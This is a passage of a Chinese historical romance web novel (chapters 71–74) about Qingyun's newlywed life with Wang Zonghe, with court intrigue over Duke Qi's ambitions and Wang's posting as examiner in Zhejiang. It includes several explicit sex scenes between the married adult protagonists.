但厅中等着的长辈哪个不是翘首以盼,早从两人身影出现在窗边风景时就发现了,对这点欲盖弥彰都感到好笑。 促成这桩婚事的原因复杂,好在两人有感情,且看着还很要好,让他们欣慰无比。 今天见礼,府中主事人王贞、秦夫人,大房、二房夫妇都到了场,长辈就有六人,还有清蕴熟悉的兄弟姊妹。 长辈们端坐椅中,王令嘉就笑嘻嘻对曾经的表姐、如今的三嫂使眼色。 她大概是家里最纯粹为堂兄和表姐高兴的人,再过半年,也要出阁了。 清蕴一一奉茶,从外祖父母那儿得了极其丰厚的敬茶礼,“多谢外祖母。” 秦夫人笑,“怎么唤我?” 清蕴微怔,才意识到自己竟忘了这关键的称呼变化。 虽然因身份问题,她在王家始终不能真正敞开心扉,但毕竟待了这么久,全都是熟悉的人,骤然回归,难免有所放松。 即刻改了对每人的称呼,待唤郑氏“母亲”时,清蕴看到她眼神的复杂和僵硬。 郑氏对这门亲事当然是不满意的,清蕴还没出阁时,她就不想让儿子和其有牵扯。现在人成婚丧夫守寡三年再回来,肯定更不愿意。 可儿子的婚事她做不了主,公婆同意,丈夫也同意,她一人反对有什么用?当初她言辞激烈,说儿子胆敢成这门亲,就不要再踏进她的院子。 王宗赫因她的话倒是沉默了很久,而后道:“我本就有另外置办宅院,和清蕴搬出去的打算,今后确实无法经常来向母亲请安。” 话中暗含的威胁不言而喻,郑氏气得简直要昏厥,可惜身体底子太好,没昏过去。 她给长子和大儿媳写信,痛诉小儿子的不孝。长子照常和稀泥,让她放宽心,道弟弟随口说说罢了,不必当真。儿媳呢,倒是安慰了她一大堆,可也没顺着她的话对这桩婚事表达什么意见。 阖家竟没人站在自己这边,郑氏内心憋闷可想而知。 众目睽睽之下,她不好说什么,扯出一抹笑,给了敬茶礼。 清蕴早就做好和她只能表面和平相处的准备,没有特意表示贤惠,聚在一起用饭时,安安静静地吃。 王宗赫帮她夹了些她常吃的糕点和小菜,其余长辈看了,默默流露笑意。 知道新婚的小夫妻需要时间相处,他们没留人,用饭结束就散去。 清蕴想去睡个回笼觉。 她不记得昨晚几时入睡,反正今早醒的时候困顿得很,眼下那点青色全靠胭脂遮掩。 王宗赫有三日婚假,这会儿不用去吏部,她道:“三哥向来繁忙,应当还有许多公务吧,要不先去书房待会儿,我不打扰。” 王宗赫低首,“我还没有沉迷公务到那个地步。” 以前早出晚归,是因为在家无事,也因为做好了一人度过此生的准备,浑身精力自然都用在了官场。 如今得以娶清蕴为妻,他只嫌三日假期太短。 他看出清蕴的困意,“我困了,准备睡会儿,可要一起?” 新婚夫妻黏在一块儿是常事,且清蕴确实累得紧,就没拒绝。 她没想到,王宗赫说的“一起”还有别的意思。 补了近两个时辰的觉,清蕴意识再次回笼时,发现自己正对着床内侧入睡,王宗赫从后方抱着她,手揽在腰间。 这样的姿势,很容易就感受到了他高昂的兴致。 清蕴:“……” 王宗赫天赋异禀,且耐力不一般,昨夜已经超出她能接受的范围。时隔仅半天,她实在不想再来一轮。 清蕴重新闭上眼,装睡。 但真正入睡和装睡到底不同,时间一久,就能感到浑身僵硬,处处发麻。 清蕴稍动小腿,王宗赫就敏锐地察觉,低声唤她,“猗猗?” 无人应声。 王宗赫起初以为是她梦中翻动,随着掌下肌肤温度隐隐升高,他意识到她已经醒了。 为何故意不应?他思索了下,才明白过来为何,眉眼闪过讶然。 他确实很想要她,但也擅长忍耐,就像昨夜看到她倦了便把人放开。 其实他昨晚没怎么睡,馨香在怀,浑身都是硬的,无论如何都放松不了。刚才也是,一上榻抱着她就忍不住有了反应,后来强迫自己睡了大半个时辰,结果醒来又是如此。 王宗赫饱读圣贤书,不代表他是个只会之乎者也的迂腐文人。他心慕清蕴,现在和她结为夫妻,对她贪恋些又有什么?更不会为此羞赧。 但她好像有些抗拒,是不喜?还是害羞?昨夜还是做得太过了吗? 王宗赫想要确定。 他边轻抚她的脸颊边唤她,极其轻柔的力度,让清蕴意识到他已发现了。 没法再“睡”,她低应一声,转过身面对面,身体不着痕迹后退一些,这样就感受不到他的咄咄逼人。 “睡得如何?” 清蕴:“已经好多了,是不是该用午饭了?” 王宗赫:“不急,还有半个时辰左右。” 他凝视她睡足后自然晕红的面颊,没有把话直接问出口,而是帮她捋开发丝的同时,注意她的神色。 见她并不抗拒他的碰触,王宗赫更进一步,低头吻去。 身体骤然贴近,清蕴再次感受到了危险,“三哥……” 融化在唇齿间的声音,成为两人贴得更紧的证明。 王宗赫一直在观察清蕴反应,但凡她流露厌恶或反抗,他都会停下。可清蕴不是真的抵触他,只是觉得他精力太盛而已,当他动作温柔而缓慢,又帮她做好了一切准备,意乱情迷间,等清蕴再次恢复意识时,他已经得逞了。 清蕴:“……” 她只能咬住唇,让声音不至于逸出来。晚上怎么胡闹都说得过去,白天又如此,饶是她,也不知该怎么面对那些伺候的人。 反正已经做了,清蕴不想让王宗赫钻研文章般仔细钻研自己,干脆让他快些。 王宗赫一顿,随即顺从她的要求,大开大合起来。 清蕴能让自己不出声,却阻止不了床榻的轻微摇晃。 外面很可能都听见了…… 汗水布满全身,清蕴伏在枕边,慢慢回神。 脑海中回荡着方才王宗赫贴在耳畔说的话,“我不善言辞,只懂执笔,泼墨难免笔锋失度,研磨恐有朱砂走偏,若猗猗觉着何处该添减润色,还请明言。” 他的确不善言辞,说得很少,可做得太多了。 第72章 确实体力极佳 广西驻地, 齐国公站在沙盘边,全省舆图早就铭记在心。 赵良这边不足为患,但凡他有心,马上就可以攻破。接下来要沿漓江、郁江水路南下, 控制浔州、横州等要冲, 切断叛军与交趾可能的勾结。 除此之外, 云南贵州那边也需要注意。 齐国公不急着彻底平乱, 只有依旧乱着,建帝才没有理由急召他归京。 事实证明, 除了他,谁也没办法对付这些土司。所以建帝再不满,也无法冒着国破的风险针对他。 除谢青天是第一步,周平看出他的心思,已经识趣地称病不出帐, 如今十万大军已经尽在他掌控之中。加上广西原本驻扎的兵力, 总共有十五万左右,都是正规军,称得上兵强马壮。 他手握彭宗把柄, 一旦起事,彭宗允诺他不会出兵攻打。 这些还不够。 长子死后,齐国公蛰伏了两年多才得到机会,这会儿也不会缺少耐心。他厌建帝昏聩, 恨其无情, 早就没了忠心, 之所以没有直接举旗, 一是要积蓄势力、要名声、要保全族平安,二是在等待建帝自寻死路。 等朝野都无法再忍耐这位昏庸帝王时, 才是他的机会。 “将军,李公子求见。” 李审言私自率兵离开,回来就被齐国公夺了职位,当众打了一百军棍,贬去做伙头兵。 除去造锅做饭,还不能出帐,帐前守了四个健壮的精兵。 人被重罚了,可他和齐国公是父子,打断骨头连着筋,没人敢真正刁难,都不好直呼其名。 齐国公:“不见。” 通传小兵为难,“他说有正事。” 齐国公嗤声,“只懂胡闹的人有什么正事?叫人严加看守,不许他出帐一步。” 他特意瞒着那封信,就是担心儿子冲动行事,最后李审言还是叫他失望了。 语气不容置喙,小兵忙去回话。 这一拒绝,就过去了三天。 齐国公进城一趟,寅夜而归,营中一片寂静,大部分都睡了。 准备进帐时,面前忽然闪过银光,多年战场形成的直觉让他瞬间后仰避开袭击。马青大喝一声,立刻抽刀迎敌,左右冲出亲卫。 来人一身黑衣,布条蒙面,看不清容貌。但齐国公眉头微挑,看着这人的功夫招数似乎意识到什么。 他负手站在原地没动,等黑衣人逼来马青和数十个亲卫,直接跨步到自己身前,在众人惊叫声中躲也没躲。 果然,那把刀在离他还有一寸时停住,来人平复喘息,扯下蒙脸布,“将军。” 果然是他的好儿子。 齐国公喜怒不明,“你是成了叛军内应?” 李审言,“将军不肯见我,只能出此下策。其次,属下也想向将军证明能力,以戴罪立功。” 齐国公:“怎么个戴罪立功法?” 李审言:“像方才那样,奇袭赵良。” 齐国公淡道:“再有能耐,我也不会用一个不服从命令的兵。” 话虽这么说,他并没有阻拦李审言的意思。马青等人琢磨了下,对视一眼,放任李审言紧随其身后进帐。 齐国公掌兵后恢复正常饮食作息,早已健硕起来。父子俩差不多的身形,都极为高大,是典型的武将,齐齐走进帐篷,让宽敞的大帐都逼仄起来。 齐国公兀自解甲脱衣,准备倒水喝的时候,一只手横过来,奉上盛水的杯盏。 他冷冷道:“讨好我也没用,你擅自带兵离开,没处死你已经是我徇私,绝不可能再让你领兵。” “不敢求将军重用,只请将军给属下效力的机会。” 李审言向来是肆无忌惮、不服管教的,此刻老老实实站在这儿,一副听从吩咐的模样,叫齐国公好笑又欣慰。不管真心假意,起码学会了沉住气,也能做表面功夫。 于是故意道:“给将士们做饭也是效力,怎么,你瞧不上伙头兵?” 李审言眉都不动一下,“伙头兵有他们的用处,以属下的武功,成天做饭是浪费人才。将军向来知人善任,不管怎么罚属下都认,但属下更愿为先锋,上阵杀敌。” 好么,话里还是那么张狂。 齐国公笑了,“你功夫是不错,可世上天生神力的不止你一个,别太自负。” 这意有所指的话,让李审言立刻想到当初在天穹山切磋过的人,那人同样生有巨力,似乎叫陈危。原本是陆清蕴身边的人,后来跟在老头子身边,又被派去了别处。 当初他胜了陈危,回头依然有自信再赢对方一次。 李审言道:“过于自谦也不可取。” 齐国公不知该怎么评价了,这要不是自己儿子,他会很高兴手下有这么个武力高强又不惧危险的人。可他对这逆子了解太深,指不定什么时候这种自信就会再次变成叛逆。 他道:“明日午后攻城,你如果能夺得首登之功,再说其他。” 李审言得到机会,没有欣喜若狂,依旧站在原地,等齐国公疑惑看来,“还不走?” “属下还有一惑,想请将军解疑。” 齐国公嗯了声,示意他问。 李审言:“漓江汛期将至,旧堤是否要换新石了?” 齐国公浑身一震,盯住李审言,无法料到这是他能问出的问题,更无法确定这是表面的疑惑,还是另有深意。 李审言与父亲四目相对,不闪不避。 片刻后,齐国公道:“等洪水快要冲垮堤坝,再垒不迟。” 李审言似乎明白了什么。 准备离开时,被齐国公叫住,“你大……陆氏那儿,别再打搅她了。” 他同意儿媳再嫁,就是想给人自由,也不想让自己正在做的事牵连到小姑娘,如此应该也是长子的心愿。 李审言面无表情,“一个女人而已,我很快就忘了。” 说完大步出帐。 齐国公满眼复杂,明明说着骗人骗己的话,却连一句“已经忘了”都不敢说? 罢了,如果这能成为他改变的契机,也好。 ** 远在千里之外的事和清蕴牵扯不上什么关系,她也料不到在李审言归营之后,父子俩会因她发生这些对话。 这会儿是王宗赫婚假的最后一天。 清蕴还在榻上。 她翻了个身,锦被滑落肩头。 晨光漏进纱帐,把眼下淡青映得通透,两汪唇色艳得惊心。昨晚咬破的痂结在唇角,随她无意识舔舐的动作泛着水光,像是新点了胭脂。 守夜的小丫鬟进来换茶,正撞见她支肘起身。 散落的乌发堆在腰窝处,衬得脊背白得晃眼,肩颈处缀着几点暗红印记。 小丫鬟捧着茶盘怔在原地——三夫人分明困得半阖着眼,偏那眼尾飞红未褪,倒比以往开得最盛的海棠更鲜活三分。 王宗赫进门的脚步声让小丫鬟回神,余光瞥见神色淡然的三公子,忙低头换茶离去。 王宗赫上前帮清蕴掖好被角,“还是很累吗?” 他昨晚已经收着了,只要了一回。 清蕴借他手喝了口水,惫懒地瞥他一眼,不想答。 他晚上的确收敛了,那是因为白天胡闹好几次。 她头次觉得表现得太温柔体贴也不好,只要不明着说,三哥就毫不克制,一味纠缠。 偏偏无论在哪儿,他表现得都十分稳重可靠,谁也想不到,这人其实贪欲至极。 王宗赫自知有错,服侍她穿衣。 坐到铜镜前时,里面映出的人影让清蕴自己都愣了愣。 指尖抚过颈侧红痕,忽然想起昨夜做到一半,王宗赫抱着她要替她簪发,玉簪插歪了半寸,把鬓发揉得蓬乱。如今这满身艳色,好似枝头熟透的蜜桃,汁水都要沁破薄皮。 任谁一看,都知道新婚这几天,夫妻俩多么恩爱。 清蕴的第一段婚姻是和李秉真,他是个雅士,两人算得上相敬如宾、恩爱有加,可那都体现在共同看书、下棋、作画等闲情雅趣。 她习惯那样的平淡安宁,也下意识认为夫妻如果感情好,就是如此。 王宗赫同样才情不俗,但他和她在一起,显然更热衷于床笫之间的情事。 耳根隐隐发烫,清蕴若无其事地让白芷给自己梳发。 幸好只有短短三天,明天他就要去官署了,今后忙碌起来,应该不会再这么频繁。 王宗赫刚晨练了半个时辰,特意回来和清蕴一起用早饭。 读书不仅需要脑子聪明,强健有力的身体亦不可少。王家给王宗赫开蒙的同时就请了武学师傅,坚持了快二十年。 他会拳法,也会骑射,在武官当中也许不算出彩,但相较于有些只会看书的文人,身体健壮太多,不然也不能在最亲密的时候长时间抱起清蕴,还有余力为她簪发。 喝着粥,清蕴想到今天本该有的行程,回门。 陆家远在江苏,唯一能算娘家人的只能是收她为义女的大长公主府。可她毕竟是大长公主前儿媳,大长公主能够出手帮她已经全了情义,如果她再带新婚丈夫去拜见前婆婆,双方都尴尬,也容易引起大长公主伤心事。 成婚前,大长公主就告诉清蕴不必走这道虚礼,其余的时候如有难处,依然可以把大长公主府当娘家,向她求助。 清蕴早告诉过王宗赫,他也认可,因此今天依旧是夫妻俩独处。 不想待在室内,清蕴提议,“这会儿景色不错,今天去赏秋吧。” 王宗赫说好,而后提醒她,“唇角那儿……” 想起唇角有道自己咬出的小伤口,清蕴瞥他一眼,“我戴面纱。” 做好准备,夫妻俩就出发了。 马车把两人载到枫林山脚,每逢秋季这儿便是漫山红枫,层林尽染,美不胜收。 包括藉香、疏影在内,左右有八个护卫,女使则只有白芷一人。 两人都不想见到太多游人,特意挑了条偏僻的上山路,陡峭些,据说途径一片小飞瀑。 山径蜿蜒如蛇蜕,铺满赭色苔痕的石阶被晨露浸润得发亮。 清蕴提着裙裾踩过湿滑的阶角。 “当心。”青竹杖突然横在面前,王宗赫挑开一截半腐的断枝。 “三哥倒是熟门熟路。” 王宗赫:“去年重阳和同僚来过。” 他当时看到这些景色,脑海中瞬间浮现的就是清蕴,没想到今年真能和她一起登山。 想着这些,他视线往清蕴那儿转。 清蕴正专心脚下,没注意身边人的心神早就不在赏景。 转过嶙峋山壁,豁然撞见一帘银绡。 飞瀑自数丈高的断崖倾泻,在墨色岩床上撞出千堆雪。 山风裹着水汽钻进衣领,清蕴陡然记起和李秉真在青烟湖见过的景色,那里也有道飞瀑。 这时候想起他无疑不合适,清蕴移开眼,“继续往上吧,这儿没什么好看的。” 王宗赫视线没离开过她,对她任何细微的表情都有所察觉。 青烟湖那次他也在,很容易猜到清蕴为何会停顿,又为何闪过一丝不自然。 他没说什么,顺清蕴意思继续往上攀。 还没到山顶,清蕴就有些累了。她体力本来没这么弱,可能是在国公府幽居三年没怎么锻炼,这几天又劳累,以至微微气喘,出了层汗。 王宗赫走到她身前,“我背你。” 望着略显陡峭的山路,清蕴迟疑,担心王宗赫背不住,两人一起摔下去。 疏影笑道:“夫人放心,咱们爷体力强着呢,背十个您都不在话下。” 疏影没其他意思,清蕴却想到了夜里王宗赫的强悍,确实体力极佳。 想想,还是在王宗赫半蹲下时,攀上他的背。 随着王宗赫起身,两人身体都僵了下。 清蕴是鲜少被人背,忘了这种姿势会造成的挤压。王宗赫则是被那柔软的触感所惊,忆起夜里把玩过无数遍的雪峰。 手掌托住她腿弯向上颠了颠,指节恰好陷入裙褶,清蕴立刻扶住他肩膀,胸口却更紧地压上青竹暗纹的衣料,隔着薄绸都能觉出他肩背绷紧的肌理。 山风掠过耳际,送来些许皂香。清蕴突然发现他后襟洇着汗渍,随步伐起伏逐渐漫成深色的潮。 竹杖戳进石缝的闷响陡然急促。 王宗赫喉结滚动,掌心隔着裙衫也能描摹出腿肉凹陷的弧度。 一缕散落的发丝垂在他颈侧,随步伐轻扫喉结,痒得人想衔住那缕青丝吞咽。 清蕴感觉再背下去两人迟早都会一身汗,回头被那些护卫瞧见,怎么都解释不清,轻声道:“三哥,放我下来吧,我可以走了。” 王宗赫呼吸变重,片刻后颔首。 他让疏影拿来水壶,借喝水的由头走到另一侧山壁面前,作赏景状站在那儿平复自己。 断崖边的野柿树簌簌摇晃,熟透的果实砸在岩壁上,迸出蜜色的浆。王宗赫盯着那抹流淌的甜汁,突然想起她膝弯被掐出指印时,也是这样渗出颤巍巍的红痕。 第73章 人逢喜事精神爽 登山赏景耗费了一天, 归家时清蕴只觉得哪哪都酸,让擅长推拿的嬷嬷给自己揉捏全身才缓过来。 对王宗赫来说,登山就和每天锻体差不多,所以精力如常。 他沐浴而来, 清蕴懒懒躺在榻上, 屋内充盈着一股桂花香, 那是推拿用的桂花油。 香气渗入每一寸肌肤, 但不算浓郁,清蕴就没有特意重新沐浴。 王宗赫按她手臂, 清蕴忍不住轻叫了声,美目似嗔似怒,他浅笑了下,“你体力大不如前。” 当初能和他们游湖登山整日不累,现在柔弱了许多。 清蕴自己也清楚, 本就打算从明日起每天慢走半个时辰, 只不想说。 因为在床榻间王宗赫也说过类似的话,叫他知道了,今后也许会更不收敛。 王宗赫:“明早和我一起去锻体?” 清蕴摇头。 王宗赫不强求, 他说的弱是对比自己,清蕴没有到弱柳扶风、容易生病的地步,自然是以她喜好为主。 他减小力度,帮清蕴按起肩颈。 不得不说, 身体亲密接触是快速拉进关系的捷径。三天前, 清蕴还把王宗赫当成相识多年、对她有一丝男女之情的表哥, 内心深处无法接受他的抚摸、亲吻。经过多次亲密深入的接触, 身体习惯了他,思维也就慢慢转变过来。 王宗赫力道合适, 揉捏得很舒服,她闭目养神。 今天二人已经说好,晚上什么都不做,单纯就寝。 王宗赫本来心无旁骛,认认真真帮她缓解疲惫,但掌下肌肤宛如暖玉,无论哪处皆细腻光滑,难免叫人心驰神摇。 清蕴本就恼他贪色,再毁约当真会生气。 默念了几遍佛家经书,察觉清蕴真正睡了,王宗赫才起身。 时辰尚早,他去书房待了许久,再轻步回屋。 月光淌过窗棂,浸湿半幅被褥。 清蕴侧蜷着身子,青丝铺满枕席,中衣领口滑出半截玉色脖颈。他驻足看了会儿,解衣声都比平日轻缓三分。 帐钩相碰的叮声里,清蕴睫毛微颤。王宗赫单手悬着锦被停顿片刻,见她呼吸复又绵长,才将薄被覆上她肩头。 躺下时,王宗赫凝视枕侧的身影,血脉里奔涌十余年的躁意,在这满室桂花暖雾里,缓缓化成了一泓春溪。 ** 婚假结束,王宗赫又要去官署了。 昨夜睡得香甜,清蕴在卯时正就醒了过来,屏风另一侧正有人穿衣。 模糊光影中,依稀可见他修长挺拔的身形,每粒盘扣都系得一丝不苟,成为山岳般稳重的王侍郎。 听得动静,他绕过来,“醒了。” 平静语气中是只有熟悉的人才能听出的温和。 清蕴颔首,起身帮他穿官袍、整理腰带。 不管内心如何,面上的事清蕴从来做得周到,不给人挑剔的余地。就像当初还未出阁时,王家个个都称赞她的体贴细心。 “今天上朝吗?” 王宗赫否认,清蕴便道:“那就让疏影带上我备的锦盒,遇见同僚熟人可以发些。” 装的是点心之类的小礼物,他毕竟新婚,有些人没来吃酒,发些小东西是礼节。 王宗赫:“还是你想得周全。” 清蕴笑了笑。 两人默契地都没谈去官署之后可能会遇到的事,无非是来自建帝的刁难。 这些对王宗赫会造成麻烦,但只要建帝还有一丝理智,犹有顾忌,就有周旋的余地。 本来打算去外面用早饭,见清蕴醒来,王宗赫就陪她吃好,再不紧不慢往吏部去。 人逢喜事精神爽,同僚都看得出王宗赫精气神的爽利,面上道贺,心里不由嘀咕。虽然大家都猜测他和齐国公前儿媳成婚是想保人,但毕竟下了柳阁老面子,他竟还表现得这么明显,真不怕阁老迁怒? 走进吏部官署,王宗赫得知柳阁老已到,先去拜见他。 他踏进值房,柳阁老正端坐紫檀案前,用犀角柄放大镜核验秋赋奏折。 “阁老安好。”王宗赫呈上青缎礼盒。 柳阁老瞥了眼,等他解释。 克衡可不是喜欢送礼讨好上峰的性子。 王宗赫:“听闻阁老双腿素有寒疾,拙荆给您备了一双护膝。” 没有花言巧语,也不夸大护膝的珍贵,依旧是他的风格。 柳阁老深深看人,就冲王宗赫刚和自家孙女和离,转头敢把新婚夫人的礼物呈上来,他也依旧欣赏这个年轻人。 “你特意告诉她的?” 王宗赫:“拙荆明白这场婚事能够顺利,还要多谢阁老虚怀若谷、胸襟阔达,特意询问属下,备了这份心意。” 柳阁老不认识清蕴,只从孙女口中听过,说是个聪慧明理的女子。没亲眼见过人,就不打算评判,对于王宗赫话语的真假也无心探究,他还不至于非要夫妻俩对自己感恩戴德。 不过…… 他哼了声,“不阔达又能如何?总不能被不孝子孙气死。” 王宗赫明白,阁老定是从柳晚口中得知二人假成婚的真相了,当即干脆认错,“是属下胆大妄为。” 柳阁老:“你是胆大,但可不是妄为,每步都算得很清楚,连尤衡都安排得明明白白。那小子读书不是好手,治理民生却算出彩,要不是在县里做出了功绩,晚儿她爹娘根本就看不上此人。” 王宗赫只说惭愧,都是尤衡自身有本事。 木已成舟,柳阁老活了这些年,早就学会抓大放小的道理,只有些好奇。 抚抚须,柳阁老道:“有件事,我还真想问你。” 王宗赫:“阁老请说。” 柳阁老背过手,看了眼左右无人,才缓缓道:“你当初和晚儿定下三年之约,莫不就是等陆氏出孝?” 身形精瘦的小老头一扫睿智练达形象,目中闪烁的光芒和那些喜欢闲聊的人没什么两样。 王宗赫:“……并非。” 他定下三年之约时,李秉真尚在人世,怎么可能料到今后的这些变故,纯粹是有信心三年内解决这些事而已。 柳阁老哦一声,他想也是,晚儿估错了。 想到晚儿向自己控诉王宗赫算计太深,往日故意做出对表妹毫不在乎的模样,柳阁老微微含笑,多少猜得出原因。 陆氏已婚和守孝时,和其他男子牵扯太多于她名声有损,克衡应该是考虑到这点,有意保持距离,甚至故意冷淡。 但等陆氏有危时,又能毫不犹豫出手,宁可得罪陛下和他这个阁老也要护心仪女子周全,这份勇气让柳阁老刮目相看,领略到年轻人骨子里的血性。 他也年轻过,当然能理解,更欣赏王宗赫官场周旋之外的真情真义。 这样的人,才真正值得他重用。 满足过好奇心,柳阁老把这几天内阁积压的折子往王宗赫面前一放,“虽是新婚燕尔,也不能太过懈怠,今天先把这些折子看了。” 王宗赫应是,接过折子,一摞摞往自己那儿搬,一坐就是一个多时辰。 柳阁老遣人来询问,“大人中午不回府上用饭吗?” 王宗赫想到清蕴今天会陪令嘉外出,恐怕中午不会归家,便道:“不急,处理好这些事再说。” 来人敬服他的兢兢业业,在柳阁老面前不由美言一番,柳阁老颔首,“到底是克衡。” 他道:“让家里多送些饭菜,中午叫他过来和我一起吃。” 吏部官员以为这桩婚事之后,王宗赫会受阁老打压,见他依旧能帮阁老处理内阁事宜,还一起用饭,那些琢磨顿时消失,待他一如往常。 如此过了四五天,王宗赫在吏部的日子一如既往,除去每天归家时辰早了点,似乎没什么变化。 直到秋闱即将开始,按照惯例是礼部的事,几位阁老受召去建帝面前商议,回来后,柳阁老意味深长道:“今年秋闱,陛下钦点克衡你为考官之一,还要参与阅卷。” 第74章 还请多施舍些雨露 科举之事由礼部主管, 通常是天子钦点翰林院学士或六部侍郎前往各地担任主考官。同考官则由本省提学御史从邻省选调进士出身的州县教谕、儒学教官充任,要求“无本省籍贯,无亲属应试”。 主考官与同考官职责相近,区别在于后者对考卷优劣只有举荐权, 而无决定权。 另有监临官总揽考场纪律, 一般由本省巡抚或布政使担任。 科举制绵延至今, 早就有极其完备的机制, 从出题、考官任命到阅卷,都会尽量避免泄密、同族相亲, 以保公平。 同时,也正是因为科举成为寒门和布衣跃龙门、朝堂选人才的要途,天下人极其重视,朝堂也盯得很紧,一旦出现差错, 从上到下的官员都会受重罚。 先帝时期出过一次科举舞弊案, 户部要员暗地收买一省主考官,得知考题后泄露给门生,门生私下告诉了同族兄弟, 随后又不断外传,最终成了一桩举世震惊的科举舞弊案,前后斩了几十个人。 到现在,考题早就不是由礼部定下, 而是每位主考官和地方学政共同拟定题目, 再报送礼部备案。如有违规, 礼部才会要求换题。 可以说, 王宗赫作为主考官权力极大,考题也基本随他心意。 但建帝的杀机恐怕不在这儿, 而在浙江。 浙江素来是科举大省,门阀势力盘根错节。 柳阁老告诉王宗赫,浙江近些年来科举都出过事,但事情都被压了下去。他曾经察觉到蹊跷,派都察院、礼部和刑部的人去查过,要么不了了之,要么官员被收买,其中还死过一名刑部主事。 总之,即便这是寻常派遣,在浙江这儿任主考官也不轻松,稍有不慎就可能引来祸患。 王宗赫归家后,就和清蕴说了这事,表明自己将要去浙江待段时间。 因为时间较短,路途又辛苦,不准备带她。 说完这些,王宗赫的手指掠过青瓷盏沿,看向身边的清蕴。 她还思考他的话,“浙江……” 忽然想起什么,“听说浙江学政周显和现在礼部尚书是姻亲。” 王贞致仕后,新上任的礼部尚书徐灵由建帝一手提拔,平时行事就以讨好天子居多,可以预料他身边亲朋的性子。 周显如今主动请调协助秋闱,肯定有蹊跷。 王宗赫:“兵来将挡水来土掩,现在想得太多也无益,倒是有另一件事。” 清蕴看他。 王宗赫盯着她,“我一去应该会有两三月。” 清蕴起初疑惑,而后对上他眼底的火,才反应过来。 “……又不是去两三年。”她站起身,“我去叫他们摆饭。” 还没走两步,人就被捞过去。 金丝补子硌得胸口发麻,清蕴刚想推拒,却被他扣住后腰往上一托。官袍下的紧绷处抵着腿根,烫得她不自在,王宗赫要用玉带钩磨她腰窝:“两个月,你算算,该欠多少回?” 自从王宗赫上值后,清蕴就用他需要养精蓄锐作理由,不允许他贪心,说是除非休沐,不然必须在亥时前睡觉。 王宗赫耐心好,耐力也足,每每一回就需要大半个时辰。多厮磨会儿,时间也就过去了,从没有因清蕴的话就急着满足自己。 和他之间的情事,除去过于消耗体力,都算得上酣畅淋漓。 这几天以来,清蕴还当他也同意那则要求,没想到等在这儿。 “白芷她们还在外面。”清蕴扫过他的脸,“等用了饭再……” “我进门时就已经叫她们守在远处了,未经允许不许进来。”他手指钻进藕荷色对襟里,“夜里是夜里,和现在没关系。” 一本正经说完这些话,王宗赫埋下头,一颗颗咬开盘扣。 清蕴:“……” 窗纱筛进的夕阳晃得人目眩,整个人被他压进美人榻时,绣鞋半挂在脚尖,摇摇晃晃,终还是落了下去。 这儿硬邦邦的,不比床榻柔软,王宗赫把软枕垫在她腰下,低声道:“往我怀里多靠些。” 斜对面摆着一方铜镜,清蕴能清晰看到他带着薄茧的指腹碾过雪脯红樱。 官袍早褪到臂弯,堆成朱红云霭裹着两段白玉。 美人榻吱呀声混着更漏滴水,小案上那叠书被撞落在地,汗珠顺着王宗赫喉结滚落,滑过胸膛,一路向下。 清蕴的指尖陷入他后背,听着玉带钩在晃动中发出的细碎声响,在情潮翻涌的间隙低语,“周显前不久刚换了府邸,听说是用扬州盐商的孝敬钱。” 王宗赫动作微滞,汗湿的鬓角贴着她耳际:“猗猗这都知晓?” 比他得知的消息还要更详细。 清蕴是从彭掌柜口中得知的,她通过大长公主的门路,“捐输筑堤”后得了漕运专权,但很少有人知道背后是她,许多事她也是派信任的人去打理,彭掌柜就是其中之一。 浙江官场不比京城简单,少不得要走动打点,彭掌柜在其中得知了什么消息,也会传信告诉她。 但她没有和王宗赫说得太仔细,只道是偶然知晓。 王宗赫也没追问,手掌更用力地扣住她腰窝,“看来这潭浑水比我想的更深。” 语气中隐含冷意。 “周显的事嗯你已经有了防备?” “这时候就不用想别人了。”王宗赫突然发狠,惊得清蕴再不能思考,喘息混着呜吟支离破碎,碾着满地狼藉的书本、衣物。 夕阳最后一丝余晖消逝,清蕴倚在汗湿的官袍上,王宗赫则收拾左右。 官场上叱咤风云的王侍郎亲自打来水,打湿巾子擦桌椅和地面。 他做得气定神闲,俯身擦地的姿态亦显得有条不紊。清蕴看着看着,忍不住踢了下他的背,被他伸手握住,帮着穿上罗袜、绣鞋。 最后起身时,低头亲了下她故意不看自己的眼,“即将分开两三月,总得体谅下我。” 如果不是考虑到这点,刚才在美人榻上清蕴就把他踹下去了,这会儿单纯是在发泄。 他发狠时顶得太深,弄得她到现在腿也是软的。 大致收拾好了屋子,接下来,王宗赫老老实实地传人摆饭。 吃过晚饭,两人在外面转了几圈,和长辈们禀报王宗赫即将去浙江主持秋闱之事,清蕴再命人帮他收拾行李。 接下来一阵子,王宗赫回家的时辰更多了。因着那句话,清蕴也没有再管那道规矩,对他颇为纵容。 一连荒唐了五六天,到王宗赫离开这天,他没让清蕴多送,夫妻俩仅在王家大门前告别。 王宗赫早早拜别了长辈,母亲郑氏那儿昨天也花了半个时辰安抚解释,让她不至于因此误会此事是因清蕴所起。六部侍郎任科举主考官本就是惯例,区别只在于他晋升得太快,在主考官中算是极其年轻。 他自己带了五个护卫,另有两名监察御史、四名锦衣卫同行。除此之外,王家暗地里还安排了二十名护卫保他平安。 因时间紧,这行人都是骑马。 清蕴贴在他耳侧,“自己注意安危。” 建帝如今对他肯定非常不满,如果用诬陷之类的招数,只要没能直接定死罪,就有应付的余地。但如果直接用暗杀这等粗暴手段,就不只是智谋能够解决。 王宗赫和李审言、陈危他们不同,到底是文臣,真碰到武功高强的死士不一定有自保之力。宫里派来的那四个锦衣卫,明着是保护他,实际为监视,碰到危险很可能袖手旁观。 低头凝视她明丽白皙的面容,王宗赫嗯了声,不顾这是在大门外,用力抱了她一下,随后和疏影等人策马离开。 床榻上紧缠不放的热烈,和这时候果断干脆的离别,让清蕴都怔了怔,在原地站立片刻,回春诵堂。 结果一回去,就看到白芷等人的忙碌场景。 清蕴:“你们在收拾什么?” 女使答,“三公子说夫人下午也要离开,让奴婢等为夫人理些适合江南气候的衣物。” 清蕴:“……他何时说的?” 女使:“今早起来就吩咐的奴婢。” 说完笑道:“三公子还给您留了封信。” 清蕴到书架边取信。 信中只有寥寥数句,大致是告诉她,陛下服用丹药日渐增多,不放心把她留在京城,所以最终决定带她一起去。等秋闱结束,两人还能有时间在浙江游玩一番。 浙江离江苏很近,两地风土不会有很大差别。如果是后者,清蕴不会想再去,浙江的话,除去陪他,还能够顺便看看彭掌柜在那边扩大的生意。 因此,即便心中因王宗赫的“欺骗”有小小恼怒,清蕴也没置气,转身吩咐白芷把必需的东西收上。 走水路要看风向,顺风的话和骑马几乎同等速度,逆风则要慢五到十天。王宗赫骑马是要赶着去和浙江学政商议考题。与此同时,他也有意去探探那儿到底是什么情况。 